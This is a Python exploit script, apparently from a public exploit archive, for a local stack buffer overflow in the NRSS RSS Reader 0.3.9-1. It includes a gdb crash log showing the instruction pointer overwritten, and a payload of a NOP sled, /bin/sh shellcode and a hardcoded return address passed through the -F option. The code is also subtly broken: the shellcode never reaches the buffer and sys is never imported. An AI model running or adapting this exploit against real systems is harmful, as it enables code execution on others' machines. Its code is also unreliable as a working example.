58 lines
No EOL
2 KiB
Python
Executable file
58 lines
No EOL
2 KiB
Python
Executable file
# Exploit developed using Exploit Pack v5.4
|
|
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
|
|
# Program affected: NRSS RSS Reader
|
|
# Version: 0.3.9-1
|
|
#
|
|
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
|
|
# Program description: NRSS is a console based RSS reader allowing
|
|
# uses to read and manage RSS feeds
|
|
# Kali Linux 2.0 package: pool/main/n/nrss/nrss_0.3.9-1_i386.deb
|
|
# MD5sum: 27d997c89340ebb6f4a1d9e1eb28ea39
|
|
# Website: http://www.codezen.org/nrss/
|
|
|
|
#
|
|
# gdb$ run -F $(python -c 'print "A"*256+"DCBA"')
|
|
# Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"')
|
|
#
|
|
# Program received signal SIGSEGV, Segmentation fault.
|
|
# --------------------------------------------------------------------------[regs]
|
|
# EAX: 0x00000000 EBX: 0x41414141 ECX: 0x00000000 EDX: 0x0809040C o d I t S z a p c
|
|
# ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFFFED60 EIP: 0x41424344
|
|
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
|
|
# Cannot access memory at address 0x41424344
|
|
# 0x41424344 in ?? ()
|
|
|
|
|
|
import os, subprocess
|
|
|
|
def run():
|
|
try:
|
|
print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco"
|
|
print "# This Exploit has been developed using Exploit Pack"
|
|
# NOPSLED + SHELLCODE + EIP
|
|
|
|
buffersize = 256
|
|
nopsled = "\x90"*200
|
|
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
|
|
eip = "\xd0\xec\xff\xbf"
|
|
buffer = nopsled * (buffersize-len(shellcode)) + eip
|
|
subprocess.call(["nrss -F",' ', buffer])
|
|
|
|
except OSError as e:
|
|
if e.errno == os.errno.ENOENT:
|
|
print "Sorry, NRSS Reader - Not found!"
|
|
else:
|
|
print "Error executing exploit"
|
|
raise
|
|
|
|
def howtousage():
|
|
print "Snap! Something went wrong"
|
|
sys.exit(-1)
|
|
|
|
if __name__ == '__main__':
|
|
try:
|
|
print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit"
|
|
print "Author: Juan Sacco - Exploit Pack"
|
|
except IndexError:
|
|
howtousage()
|
|
run() |